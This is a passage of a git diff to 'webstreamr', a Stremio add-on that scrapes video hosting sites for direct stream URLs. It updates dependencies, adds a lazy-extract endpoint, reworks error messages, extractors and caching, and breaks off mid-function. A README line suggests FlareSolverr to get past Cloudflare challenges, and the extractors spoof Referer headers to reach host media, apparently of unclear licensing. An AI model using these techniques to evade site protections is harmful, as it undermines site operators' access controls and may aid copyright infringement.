|
||||
Optional. If domains show Cloudflare challenges, FlareSolverr can be used to work around them. E.g. `http://flaresolverr:8191`
|
||||
Proxy configuration is passed-through and only a single session is used to save resources. Byparr is not supported.
|
||||
|
||||
#### `MANIFEST_ID`
|
||||
|
||||
Optional. Add-on manifest ID. Default: `webstreamr`
|
||||
|
|
|
|||
|
|
@ -1,4 +1,6 @@
|
|||
process.env['CACHE_DIR'] = '/dev/null';
|
||||
process.env['HOST'] = 'example.test';
|
||||
process.env['PROTOCOL'] = 'https';
|
||||
|
||||
if (!process.env['TMDB_ACCESS_TOKEN']) {
|
||||
process.env['TMDB_ACCESS_TOKEN'] = 'some access token';
|
||||
|
|
|
|||
3656
package-lock.json
generated
3656
package-lock.json
generated
File diff suppressed because it is too large
Load diff
25
package.json
25
package.json
|
|
@ -1,7 +1,7 @@
|
|||
{
|
||||
"name": "webstreamr",
|
||||
"description": "Provides HTTP URLs from streaming websites.",
|
||||
"version": "0.56.3",
|
||||
"version": "0.69.1",
|
||||
"type": "commonjs",
|
||||
"scripts": {
|
||||
"analyse": "tsc --noEmit --project ./tsconfig.dev.json",
|
||||
|
|
@ -28,7 +28,7 @@
|
|||
"url": "https://github.com/webstreamr/webstreamr/issues"
|
||||
},
|
||||
"engines": {
|
||||
"node": "^22.0.0"
|
||||
"node": "^22.0.0 || ^24.0.0"
|
||||
},
|
||||
"devEngines": {
|
||||
"runtime": {
|
||||
|
|
@ -43,33 +43,40 @@
|
|||
"dependencies": {
|
||||
"@keyv/sqlite": "^4.0.5",
|
||||
"async-mutex": "^0.5.0",
|
||||
"axios": "^1.13.2",
|
||||
"axios-cache-interceptor": "^1.8.3",
|
||||
"axios-mock-adapter": "^2.1.0",
|
||||
"axios-retry": "^4.5.0",
|
||||
"bytes": "^3.1.2",
|
||||
"cacheable": "^2.0.0",
|
||||
"cheerio": "^1.0.0",
|
||||
"express": "^5.1.0",
|
||||
"express-rate-limit": "^8.2.1",
|
||||
"fast-levenshtein": "^3.0.0",
|
||||
"fetch-socks": "^1.3.2",
|
||||
"http-cache-semantics": "^4.2.0",
|
||||
"glob": "^13.0.0",
|
||||
"http-proxy-agent": "^7.0.2",
|
||||
"https-proxy-agent": "^7.0.6",
|
||||
"memoizee": "^0.4.17",
|
||||
"minimatch": "^10.0.3",
|
||||
"randomstring": "^1.3.1",
|
||||
"rot13-cipher": "^1.0.0",
|
||||
"slugify": "^1.6.6",
|
||||
"socks-proxy-agent": "^8.0.5",
|
||||
"sqlite3": "^5.1.7",
|
||||
"tough-cookie": "^6.0.0",
|
||||
"undici": "^7.10.0",
|
||||
"unpacker": "^1.0.1",
|
||||
"winston": "^3.17.0"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@eslint/js": "^9.26.0",
|
||||
"@stylistic/eslint-plugin": "^5.0.0",
|
||||
"@tsconfig/node22": "^22.0.2",
|
||||
"@tsconfig/node24": "^24.0.0",
|
||||
"@types/bytes": "^3.1.5",
|
||||
"@types/express": "^5.0.1",
|
||||
"@types/fast-levenshtein": "^0.0.4",
|
||||
"@types/http-cache-semantics": "^4.0.4",
|
||||
"@types/jest": "^30.0.0",
|
||||
"@types/make-fetch-happen": "^10.0.4",
|
||||
"@types/node": "^22.15.3",
|
||||
"@types/memoizee": "^0.4.12",
|
||||
"@types/node": "^24.0.0",
|
||||
"@types/randomstring": "^1.3.0",
|
||||
"@types/stremio-addon-sdk": "^1.6.11",
|
||||
"babel-jest": "^30.0.0",
|
||||
|
|
|
|||
|
|
@ -22,7 +22,7 @@ export class ConfigureController {
|
|||
}
|
||||
|
||||
private getConfigure(req: Request, res: Response) {
|
||||
const config: Config = JSON.parse(req.params['config'] || JSON.stringify(getDefaultConfig()));
|
||||
const config: Config = JSON.parse(req.params['config'] as string || JSON.stringify(getDefaultConfig()));
|
||||
|
||||
// Convenience preset for ElfHosted WebStreamr bundle including Media Flow Proxy
|
||||
if (!req.params['config'] && isElfHostedInstance(req)) {
|
||||
|
|
|
|||
53
src/controller/ExtractController.ts
Normal file
53
src/controller/ExtractController.ts
Normal file
|
|
@ -0,0 +1,53 @@
|
|||
import { Mutex } from 'async-mutex';
|
||||
import { Request, Response, Router } from 'express';
|
||||
import winston from 'winston';
|
||||
import { ExtractorRegistry } from '../extractor';
|
||||
import { contextFromRequestAndResponse, Fetcher } from '../utils';
|
||||
|
||||
export class ExtractController {
|
||||
public readonly router: Router;
|
||||
|
||||
private readonly logger: winston.Logger;
|
||||
private readonly extractorRegistry: ExtractorRegistry;
|
||||
|
||||
private readonly locks = new Map<string, Mutex>();
|
||||
|
||||
public constructor(logger: winston.Logger, _fetcher: Fetcher, extractorRegistry: ExtractorRegistry) {
|
||||
this.router = Router();
|
||||
|
||||
this.logger = logger;
|
||||
this.extractorRegistry = extractorRegistry;
|
||||
|
||||
this.router.get('/extract', this.extract.bind(this));
|
||||
}
|
||||
|
||||
private async extract(req: Request, res: Response) {
|
||||
if (req.method !== 'GET') {
|
||||
res.status(405).send('Method Not Allowed');
|
||||
return;
|
||||
}
|
||||
|
||||
const ctx = contextFromRequestAndResponse(req, res);
|
||||
|
||||
const index = parseInt(req.query['index'] as string);
|
||||
const url = new URL(req.query['url'] as string);
|
||||
|
||||
this.logger.info(`Lazy extract index ${index} of URL ${url} for ip ${ctx.ip}`, ctx);
|
||||
|
||||
let mutex = this.locks.get(url.href);
|
||||
if (!mutex) {
|
||||
mutex = new Mutex();
|
||||
this.locks.set(url.href, mutex);
|
||||
}
|
||||
|
||||
await mutex.runExclusive(async () => {
|
||||
const urlResults = await this.extractorRegistry.handle(ctx, url);
|
||||
|
||||
res.redirect(urlResults[index]?.url.href as string);
|
||||
});
|
||||
|
||||
if (!mutex.isLocked()) {
|
||||
this.locks.delete(url.href);
|
||||
}
|
||||
};
|
||||
}
|
||||
|
|
@ -21,7 +21,7 @@ export class ManifestController {
|
|||
}
|
||||
|
||||
private getManifest(req: Request, res: Response) {
|
||||
const config: Config = JSON.parse(req.params['config'] || JSON.stringify(getDefaultConfig()));
|
||||
const config: Config = JSON.parse(req.params['config'] as string || JSON.stringify(getDefaultConfig()));
|
||||
|
||||
const manifest = buildManifest(this.sources, this.extractors, config);
|
||||
|
||||
|
|
|
|||
|
|
@ -3,7 +3,7 @@ import { Request, Response, Router } from 'express';
|
|||
import { ContentType } from 'stremio-addon-sdk';
|
||||
import winston from 'winston';
|
||||
import { Source } from '../source';
|
||||
import { contextFromRequestAndResponse, envIsProd, Id, ImdbId, noCache, StreamResolver, TmdbId } from '../utils';
|
||||
import { contextFromRequestAndResponse, envIsProd, Id, ImdbId, StreamResolver, TmdbId } from '../utils';
|
||||
|
||||
export class StreamController {
|
||||
public readonly router: Router;
|
||||
|
|
@ -27,7 +27,7 @@ export class StreamController {
|
|||
|
||||
private async getStream(req: Request, res: Response) {
|
||||
const type: ContentType = (req.params['type'] || '') as ContentType;
|
||||
const rawId: string = req.params['id'] || '';
|
||||
const rawId: string = req.params['id'] as string || '';
|
||||
|
||||
let id: Id;
|
||||
if (rawId.startsWith('tmdb:')) {
|
||||
|
|
@ -35,7 +35,9 @@ export class StreamController {
|
|||
} else if (rawId.startsWith('tt')) {
|
||||
id = ImdbId.fromString(rawId);
|
||||
} else {
|
||||
throw new Error(`Unsupported ID: ${rawId}`);
|
||||
res.status(400).send(`Unsupported ID: ${rawId}`);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
const ctx = contextFromRequestAndResponse(req, res);
|
||||
|
|
@ -53,10 +55,8 @@ export class StreamController {
|
|||
await mutex.runExclusive(async () => {
|
||||
const { streams, ttl } = await this.streamResolver.resolve(ctx, sources, type, id);
|
||||
|
||||
if (noCache(ctx.config)) {
|
||||
res.setHeader('Cache-Control', 'no-store, no-cache, must-revalidate, max-age=0');
|
||||
} else if (ttl && envIsProd()) {
|
||||
res.setHeader('Cache-Control', `max-age=${Math.floor(ttl / 1000)}, public`);
|
||||
if (ttl && envIsProd()) {
|
||||
res.setHeader('Cache-Control', `public, max-age=${Math.floor(ttl / 1000)}, immutable`);
|
||||
}
|
||||
|
||||
res.setHeader('Content-Type', 'application/json');
|
||||
|
|
|
|||
|
|
@ -1,3 +1,4 @@
|
|||
export * from './ExtractController';
|
||||
export * from './ConfigureController';
|
||||
export * from './ManifestController';
|
||||
export * from './StreamController';
|
||||
|
|
|
|||
|
|
@ -1,11 +1,12 @@
|
|||
import { AxiosResponse } from 'axios';
|
||||
import { BlockedReason } from '../types';
|
||||
|
||||
export class BlockedError extends Error {
|
||||
public readonly url: URL;
|
||||
public readonly reason: BlockedReason;
|
||||
public readonly headers: Record<string, string[] | string | undefined>;
|
||||
public readonly headers: AxiosResponse['headers'];
|
||||
|
||||
public constructor(url: URL, reason: BlockedReason, headers: Record<string, string[] | string | undefined>) {
|
||||
public constructor(url: URL, reason: BlockedReason, headers: AxiosResponse['headers']) {
|
||||
super();
|
||||
|
||||
this.url = url;
|
||||
|
|
|
|||
|
|
@ -1,11 +1,15 @@
|
|||
import { AxiosResponse } from 'axios';
|
||||
|
||||
export class HttpError extends Error {
|
||||
public readonly url: URL;
|
||||
public readonly status: number;
|
||||
public readonly statusText: string;
|
||||
public readonly headers: Record<string, string[] | string | undefined>;
|
||||
public readonly headers: AxiosResponse['headers'];
|
||||
|
||||
public constructor(status: number, statusText: string, headers: Record<string, string[] | string | undefined>) {
|
||||
public constructor(url: URL, status: number, statusText: string, headers: AxiosResponse['headers']) {
|
||||
super();
|
||||
|
||||
this.url = url;
|
||||
this.status = status;
|
||||
this.statusText = statusText;
|
||||
this.headers = headers;
|
||||
|
|
|
|||
|
|
@ -1 +1,9 @@
|
|||
export class QueueIsFullError extends Error {}
|
||||
export class QueueIsFullError extends Error {
|
||||
public readonly url: URL;
|
||||
|
||||
public constructor(url: URL) {
|
||||
super();
|
||||
|
||||
this.url = url;
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1 +1,9 @@
|
|||
export class TimeoutError extends Error {}
|
||||
export class TimeoutError extends Error {
|
||||
public readonly url: URL;
|
||||
|
||||
public constructor(url: URL) {
|
||||
super();
|
||||
|
||||
this.url = url;
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1,9 +1,11 @@
|
|||
export class TooManyRequestsError extends Error {
|
||||
public readonly url: URL;
|
||||
public readonly retryAfter: number;
|
||||
|
||||
public constructor(retryAfter: number) {
|
||||
public constructor(url: URL, retryAfter: number) {
|
||||
super();
|
||||
|
||||
this.url = url;
|
||||
this.retryAfter = retryAfter;
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1 +1,9 @@
|
|||
export class TooManyTimeoutsError extends Error {}
|
||||
export class TooManyTimeoutsError extends Error {
|
||||
public readonly url: URL;
|
||||
|
||||
public constructor(url: URL) {
|
||||
super();
|
||||
|
||||
this.url = url;
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -21,46 +21,50 @@ export const logErrorAndReturnNiceString = (ctx: Context, logger: winston.Logger
|
|||
return '⚠️ MediaFlow Proxy authentication failed. Please set the correct password.';
|
||||
}
|
||||
|
||||
logger.warn(`${source}: Request to ${error.url.href} was blocked, reason: ${error.reason}, headers: ${JSON.stringify(error.headers)}.`, ctx);
|
||||
logger.warn(`${source}: Request to ${error.url} was blocked, reason: ${error.reason}, headers: ${JSON.stringify(error.headers)}.`, ctx);
|
||||
|
||||
return `⚠️ Request was blocked. Reason: ${error.reason}`;
|
||||
return `⚠️ Request to ${error.url.host} was blocked. Reason: ${error.reason}`;
|
||||
}
|
||||
|
||||
if (error instanceof TooManyRequestsError) {
|
||||
logger.warn(`${source}: Rate limited for ${error.retryAfter} seconds.`, ctx);
|
||||
logger.warn(`${source}: Request to ${error.url} was rate limited for ${error.retryAfter} seconds.`, ctx);
|
||||
|
||||
return '🚦 Request was rate-limited. Please try again later or consider self-hosting.';
|
||||
return `🚦 Request to ${error.url.host} was rate-limited. Please try again later or consider self-hosting.`;
|
||||
}
|
||||
|
||||
if (error instanceof TooManyTimeoutsError) {
|
||||
logger.warn(`${source}: Too many timeouts.`, ctx);
|
||||
logger.warn(`${source}: Too many timeouts when requesting ${error.url}.`, ctx);
|
||||
|
||||
return '🚦 Too many recent timeouts. Please try again later.';
|
||||
return `🚦 Too many recent timeouts when requesting ${error.url.host}. Please try again later.`;
|
||||
}
|
||||
|
||||
if (
|
||||
error instanceof TimeoutError
|
||||
|| (error instanceof DOMException && ['AbortError', 'TimeoutError'].includes(error.name)) // sometimes this gets through, no idea why..
|
||||
) {
|
||||
if (error instanceof TimeoutError) {
|
||||
logger.warn(`${source}: Request to ${error.url} timed out.`, ctx);
|
||||
|
||||
return `🐢 Request to ${error.url.host} timed out.`;
|
||||
}
|
||||
|
||||
if (error instanceof DOMException && ['AbortError', 'TimeoutError'].includes(error.name)) {
|
||||
// sometimes this gets through, no idea why..
|
||||
logger.warn(`${source}: Request timed out.`, ctx);
|
||||
|
||||
return '🐢 Request timed out.';
|
||||
}
|
||||
|
||||
if (error instanceof QueueIsFullError) {
|
||||
logger.warn(`${source}: Request queue is full.`, ctx);
|
||||
logger.warn(`${source}: Request queue for ${error.url.host} is full.`, ctx);
|
||||
|
||||
return '⏳ Request queue is full. Please try again later or consider self-hosting.';
|
||||
return `⏳ Request queue for ${error.url.host} is full. Please try again later or consider self-hosting.`;
|
||||
}
|
||||
|
||||
if (error instanceof HttpError) {
|
||||
logger.error(`${source}: HTTP status ${error.status} (${error.statusText}), headers: ${JSON.stringify(error.headers)}, stack: ${error.stack}.`, ctx);
|
||||
logger.error(`${source}: Error when requesting url ${error.url}, HTTP status ${error.status} (${error.statusText}), headers: ${JSON.stringify(error.headers)}, stack: ${error.stack}.`, ctx);
|
||||
|
||||
if (error.status >= 500) {
|
||||
return `❌ Remote server has issues. We can't fix this, please try later again.`;
|
||||
return `❌ Remote server ${error.url.host} has issues. We can't fix this, please try later again.`;
|
||||
}
|
||||
|
||||
return `❌ Request failed with status ${error.status} (${error.statusText}). Request-id: ${ctx.id}.`;
|
||||
return `❌ Request to ${error.url.host} failed with status ${error.status} (${error.statusText}). Request-id: ${ctx.id}.`;
|
||||
}
|
||||
|
||||
const cause = (error as Error & { cause?: unknown }).cause;
|
||||
|
|
|
|||
|
|
@ -7,22 +7,18 @@ import { ExtractorRegistry } from './ExtractorRegistry';
|
|||
const logger = winston.createLogger({ transports: [new winston.transports.Console({ level: 'nope' })] });
|
||||
const extractorRegistry = new ExtractorRegistry(logger, [new DoodStream(new FetcherMock(`${__dirname}/__fixtures__/DoodStream`))]);
|
||||
|
||||
const ctx = createTestContext();
|
||||
const ctx = createTestContext({ mediaFlowProxyUrl: 'https://mediaflow.test.org', mediaFlowProxyPassword: 'test' });
|
||||
|
||||
describe('DoodStream', () => {
|
||||
test('dood.to', async () => {
|
||||
expect(await extractorRegistry.handle(ctx, new URL('http://dood.to/e/sk1m9eumzyjj'))).toMatchSnapshot();
|
||||
});
|
||||
|
||||
test('missing pass_md5 -> not found', async () => {
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://dood.to/e/gy8l8mb2i311'))).toMatchSnapshot();
|
||||
});
|
||||
|
||||
test('can guess height from title', async () => {
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://do7go.com/e/dfx8me4un4ul'))).toMatchSnapshot();
|
||||
});
|
||||
|
||||
test('cloudflare storage', async () => {
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://doodstream.com/e/wfpwtsgyr1xi'))).toMatchSnapshot();
|
||||
test('not found', async () => {
|
||||
expect(await extractorRegistry.handle(ctx, new URL('https://myvidplay.com/e/cz7cus0bvlzr'))).toMatchSnapshot();
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -1,8 +1,8 @@
|
|||
import bytes from 'bytes';
|
||||
import * as cheerio from 'cheerio';
|
||||
import randomstring from 'randomstring';
|
||||
import { NotFoundError } from '../error';
|
||||
import { Context, Format, Meta, UrlResult } from '../types';
|
||||
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||
import { buildMediaFlowProxyExtractorRedirectUrl, supportsMediaFlowProxy } from '../utils';
|
||||
import { Extractor } from './Extractor';
|
||||
|
||||
export class DoodStream extends Extractor {
|
||||
|
|
@ -12,59 +12,43 @@ export class DoodStream extends Extractor {
|
|||
|
||||
public override readonly ttl: number = 21600000; // 6h
|
||||
|
||||
public override viaMediaFlowProxy = true;
|
||||
|
||||
/** @see https://github.com/Gujal00/ResolveURL/blob/master/script.module.resolveurl/lib/resolveurl/plugins/doodstream.py */
|
||||
public supports(_ctx: Context, url: URL): boolean {
|
||||
return null !== url.host.match(/dood|do[0-9]go|doood|dooood|ds2play|ds2video|dsvplay|d0o0d|do0od|d0000d|d000d|vidply|all3do|doply|vide0|vvide0|d-s/);
|
||||
public supports(ctx: Context, url: URL): boolean {
|
||||
return null !== url.host.match(/dood|do[0-9]go|doood|dooood|ds2play|ds2video|dsvplay|d0o0d|do0od|d0000d|d000d|myvidplay|vidply|all3do|doply|vide0|vvide0|d-s/) && supportsMediaFlowProxy(ctx);
|
||||
};
|
||||
|
||||
public override normalize(url: URL): URL {
|
||||
const videoId = url.pathname.split('/').at(-1) as string;
|
||||
const videoId = url.pathname.replace(/\/+$/, '').split('/').at(-1) as string;
|
||||
|
||||
return new URL(`http://dood.to/e/${videoId}`);
|
||||
};
|
||||
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||
const headers = { Referer: meta.referer ?? url.href };
|
||||
|
||||
const html = await this.fetcher.text(ctx, url, { headers });
|
||||
|
||||
const passMd5Match = html.match(/\/pass_md5\/[\w-]+\/([\w-]+)/);
|
||||
if (!passMd5Match) {
|
||||
if (/Video not found/.test(html)) {
|
||||
throw new NotFoundError();
|
||||
}
|
||||
|
||||
const token = passMd5Match[1] as string;
|
||||
|
||||
const baseUrl = await this.fetcher.text(ctx, new URL(passMd5Match[0], url.origin), { headers: { Referer: url.href } });
|
||||
|
||||
const $ = cheerio.load(html);
|
||||
const title = $('title').text().trim().replace(/ - DoodStream$/, '').trim();
|
||||
|
||||
const downloadHtml = await this.fetcher.text(ctx, new URL(url.href.replace('/e/', '/d/')));
|
||||
const sizeMatch = downloadHtml.match(/([\d.]+ ?[GM]B)/);
|
||||
|
||||
let mp4Url: URL;
|
||||
if (baseUrl.includes('cloudflarestorage')) {
|
||||
mp4Url = new URL(baseUrl);
|
||||
} else {
|
||||
mp4Url = new URL(`${baseUrl}${randomstring.generate(10)}?token=${token}&expiry=${Date.now()}`);
|
||||
}
|
||||
|
||||
return [
|
||||
{
|
||||
url: mp4Url,
|
||||
url: buildMediaFlowProxyExtractorRedirectUrl(ctx, 'Doodstream', url, headers),
|
||||
format: Format.mp4,
|
||||
label: this.label,
|
||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
||||
ttl: this.ttl,
|
||||
meta: {
|
||||
...meta,
|
||||
title,
|
||||
...(sizeMatch && { bytes: bytes.parse(sizeMatch[1] as string) as number }),
|
||||
},
|
||||
requestHeaders: {
|
||||
Referer: url.origin,
|
||||
},
|
||||
},
|
||||
];
|
||||
};
|
||||
|
|
|
|||
|
|
@ -1,7 +1,7 @@
|
|||
import bytes from 'bytes';
|
||||
import * as cheerio from 'cheerio';
|
||||
import { NotFoundError } from '../error';
|
||||
import { Context, Format, Meta, UrlResult } from '../types';
|
||||
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||
import { extractUrlFromPacked, guessHeightFromPlaylist } from '../utils';
|
||||
import { Extractor } from './Extractor';
|
||||
|
||||
|
|
@ -13,12 +13,12 @@ export class Dropload extends Extractor {
|
|||
public override readonly ttl: number = 10800000; // 3h
|
||||
|
||||
public supports(_ctx: Context, url: URL): boolean {
|
||||
return null !== url.host.match(/dropload/);
|
||||
return null !== url.host.match(/dropload|dr0pstream/);
|
||||
}
|
||||
|
||||
public override readonly normalize = (url: URL): URL => new URL(url.href.replace('/d/', '/').replace('/e/', '/').replace('/embed-', '/'));
|
||||
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||
const headers = { Referer: meta.referer ?? url.href };
|
||||
|
||||
const html = await this.fetcher.text(ctx, url, { headers });
|
||||
|
|
@ -28,11 +28,12 @@ export class Dropload extends Extractor {
|
|||
}
|
||||
|
||||
const playlistUrl = extractUrlFromPacked(html, [/sources:\[{file:"(.*?)"/]);
|
||||
const playlistHeaders = { Referer: 'https://dr0pstream.com/' };
|
||||
|
||||
const heightMatch = html.match(/\d{3,}x(\d{3,}),/);
|
||||
const height = heightMatch
|
||||
? parseInt(heightMatch[1] as string)
|
||||
: await guessHeightFromPlaylist(ctx, this.fetcher, playlistUrl);
|
||||
: meta.height ?? await guessHeightFromPlaylist(ctx, this.fetcher, playlistUrl, { headers: playlistHeaders });
|
||||
|
||||
const sizeMatch = html.match(/([\d.]+ ?[GM]B)/);
|
||||
const size = sizeMatch ? bytes.parse(sizeMatch[1] as string) as number : undefined;
|
||||
|
|
@ -44,15 +45,13 @@ export class Dropload extends Extractor {
|
|||
{
|
||||
url: playlistUrl,
|
||||
format: Format.hls,
|
||||
label: this.label,
|
||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
||||
ttl: this.ttl,
|
||||
meta: {
|
||||
...meta,
|
||||
title,
|
||||
...(size && { bytes: size }),
|
||||
...(height && { height }),
|
||||
},
|
||||
requestHeaders: playlistHeaders,
|
||||
},
|
||||
];
|
||||
};
|
||||
|
|
|
|||
|
|
@ -1,5 +1,4 @@
|
|||
import { BlockedError } from '../error';
|
||||
import { Context, Format, Meta, UrlResult } from '../types';
|
||||
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||
import { showExternalUrls } from '../utils';
|
||||
import { Extractor } from './Extractor';
|
||||
|
||||
|
|
@ -14,27 +13,13 @@ export class ExternalUrl extends Extractor {
|
|||
return showExternalUrls(ctx.config) && null !== url.host.match(/.*/);
|
||||
}
|
||||
|
||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
||||
const headers = { Referer: meta.referer ?? url.href };
|
||||
|
||||
try {
|
||||
// Make sure the URL is accessible, but avoid causing noise and delays doing this
|
||||
await this.fetcher.head(ctx, url, { noFlareSolverr: true, timeout: 1000, headers });
|
||||
} catch (error) {
|
||||
/* istanbul ignore if */
|
||||
if (!(error instanceof BlockedError)) {
|
||||
return [];
|
||||
}
|
||||
}
|
||||
|
||||
protected async extractInternal(_ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||
return [
|
||||
{
|
||||
url: url,
|
||||
format: Format.unknown,
|
||||
isExternal: true,
|
||||
label: `${url.host}`,
|
||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
||||
ttl: this.ttl,
|
||||
meta,
|
||||
},
|
||||
];
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
import { NotFoundError } from '../error';
|
||||
import { Context, Format, Meta, UrlResult } from '../types';
|
||||
import { Context, Format, InternalUrlResult, Meta, UrlResult } from '../types';
|
||||
import { Fetcher } from '../utils';
|
||||
|
||||
export abstract class Extractor {
|
||||
|
|
@ -9,6 +9,8 @@ export abstract class Extractor {
|
|||
|
||||
public readonly ttl: number = 900000; // 15m
|
||||
|
||||
public readonly cacheVersion: number | undefined = undefined;
|
||||
|
||||
public readonly viaMediaFlowProxy: boolean = false;
|
||||
|
||||
protected readonly fetcher: Fetcher;
|
||||
|
|
@ -23,11 +25,18 @@ export abstract class Extractor {
|
|||
return url;
|
||||
};
|
||||
|
||||
protected abstract extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]>;
|
||||
protected abstract extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]>;
|
||||
|
||||
public async extract(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
||||
try {
|
||||
return await this.extractInternal(ctx, url, meta);
|
||||
return (await this.extractInternal(ctx, url, meta)).map(
|
||||
urlResult => ({
|
||||
...urlResult,
|
||||
label: this.formatLabel(urlResult.label ?? this.label),
|
||||
ttl: this.ttl,
|
||||
|
||||
}),
|
||||
);
|
||||
} catch (error) {
|
||||
if (error instanceof NotFoundError) {
|
||||
return [];
|
||||
|
|
@ -39,11 +48,15 @@ export abstract class Extractor {
|
|||
format: Format.unknown,
|
||||
isExternal: true,
|
||||
error,
|
||||
label: this.label,
|
||||
sourceId: `${this.id}`,
|
||||
label: this.formatLabel(this.label),
|
||||
ttl: 0,
|
||||
meta,
|
||||
},
|
||||
];
|
||||
}
|
||||
};
|
||||
|
||||
private formatLabel(label: string): string {
|
||||
return this.viaMediaFlowProxy ? `${label} (MFP)` : label;
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -49,6 +49,11 @@ describe('ExtractorRegistry', () => {
|
|||
expect(urlResults).toMatchSnapshot();
|
||||
});
|
||||
|
||||
test('empty results are cached', async () => {
|
||||
const urlResults = await extractorRegistry.handle(ctx, new URL('https://dropload.io/asdfghijklmn.html'), { title: 'title' });
|
||||
expect(urlResults).toMatchSnapshot();
|
||||
});
|
||||
|
||||
test('stats returns something', async () => {
|
||||
const stats = extractorRegistry.stats();
|
||||
|
||||
|
|
|
|||
|
|
@ -1,23 +1,31 @@
|
|||
// eslint-disable-next-line import/no-named-as-default
|
||||
import KeyvSqlite from '@keyv/sqlite';
|
||||
import { Cacheable, CacheableMemory, Keyv } from 'cacheable';
|
||||
import winston from 'winston';
|
||||
import { Context, Meta, UrlResult } from '../types';
|
||||
import { getCacheDir, isExtractorDisabled, noCache } from '../utils';
|
||||
import { Context, Format, Meta, UrlResult } from '../types';
|
||||
import { createKeyvSqlite, envGet, isExtractorDisabled } from '../utils';
|
||||
import { Extractor } from './Extractor';
|
||||
|
||||
export class ExtractorRegistry {
|
||||
private readonly logger: winston.Logger;
|
||||
private readonly extractors: Extractor[];
|
||||
|
||||
private readonly urlResultCache: Cacheable;
|
||||
private readonly lazyUrlResultCache: Cacheable;
|
||||
|
||||
public constructor(logger: winston.Logger, extractors: Extractor[]) {
|
||||
this.logger = logger;
|
||||
this.extractors = extractors;
|
||||
|
||||
this.urlResultCache = new Cacheable({
|
||||
nonBlocking: true,
|
||||
primary: new Keyv({ store: new CacheableMemory({ lruSize: 1024 }) }),
|
||||
secondary: new Keyv(new KeyvSqlite(`sqlite://${getCacheDir()}/webstreamr-extractor-cache.sqlite`)),
|
||||
secondary: createKeyvSqlite('extractor-cache'),
|
||||
stats: true,
|
||||
});
|
||||
|
||||
this.lazyUrlResultCache = new Cacheable({
|
||||
nonBlocking: true,
|
||||
primary: new Keyv({ store: new CacheableMemory({ lruSize: 1024 }) }),
|
||||
secondary: createKeyvSqlite('extractor-lazy-cache'),
|
||||
stats: true,
|
||||
});
|
||||
}
|
||||
|
|
@ -25,45 +33,80 @@ export class ExtractorRegistry {
|
|||
public stats() {
|
||||
return {
|
||||
urlResultCache: this.urlResultCache.stats,
|
||||
lazyUrlResultCache: this.lazyUrlResultCache.stats,
|
||||
};
|
||||
};
|
||||
|
||||
public async handle(ctx: Context, url: URL, meta?: Meta): Promise<UrlResult[]> {
|
||||
public async handle(ctx: Context, url: URL, meta?: Meta, allowLazy?: boolean): Promise<UrlResult[]> {
|
||||
const extractor = this.extractors.find(extractor => !isExtractorDisabled(ctx.config, extractor) && extractor.supports(ctx, url));
|
||||
if (!extractor) {
|
||||
return [];
|
||||
}
|
||||
|
||||
const normalizedUrl = extractor.normalize(url);
|
||||
const cacheKey = extractor.viaMediaFlowProxy
|
||||
? `${extractor.id}_${normalizedUrl}_${ctx.config.mediaFlowProxyUrl}`
|
||||
: `${extractor.id}_${normalizedUrl}`;
|
||||
const cacheKey = this.determineCacheKey(ctx, extractor, normalizedUrl);
|
||||
|
||||
const storedDataRaw = await this.urlResultCache.getRaw<UrlResult[]>(cacheKey);
|
||||
const expires = storedDataRaw?.expires;
|
||||
if (storedDataRaw && expires && !noCache(ctx.config)) {
|
||||
// Ignore the cache randomly after at least 2/3 of the TTL passed to start refreshing results slowly
|
||||
const refreshTimestamp = this.randomInteger(expires - extractor.ttl * (2 / 3), expires);
|
||||
const now = Date.now();
|
||||
if (storedDataRaw && expires) {
|
||||
const ttl = expires - Date.now();
|
||||
|
||||
/* istanbul ignore if */
|
||||
if (refreshTimestamp > now) {
|
||||
return (storedDataRaw.value as UrlResult[]).map(urlResult => ({ ...urlResult, ttl: expires - now, url: new URL(urlResult.url) }));
|
||||
if (ttl > 0) {
|
||||
return (storedDataRaw.value as UrlResult[]).map(urlResult => ({ ...urlResult, ttl, url: new URL(urlResult.url) }));
|
||||
}
|
||||
}
|
||||
|
||||
const lazyUrlResults = await this.lazyUrlResultCache.get<UrlResult[]>(normalizedUrl.href) ?? [];
|
||||
|
||||
/* istanbul ignore next */
|
||||
if (
|
||||
lazyUrlResults.length && allowLazy && !extractor.viaMediaFlowProxy
|
||||
&& lazyUrlResults.every(urlResult => urlResult.format !== Format.hls) // related to Android issues, e.g. https://github.com/Stremio/stremio-bugs/issues/1574 or https://github.com/Stremio/stremio-bugs/issues/1579
|
||||
) {
|
||||
// generate lazy extract urls
|
||||
return lazyUrlResults.map((urlResult, index) => {
|
||||
const extractUrl = new URL(`${envGet('PROTOCOL')}:${envGet('HOST')}/extract/`);
|
||||
|
||||
extractUrl.searchParams.set('index', `${index}`);
|
||||
extractUrl.searchParams.set('url', url.href);
|
||||
|
||||
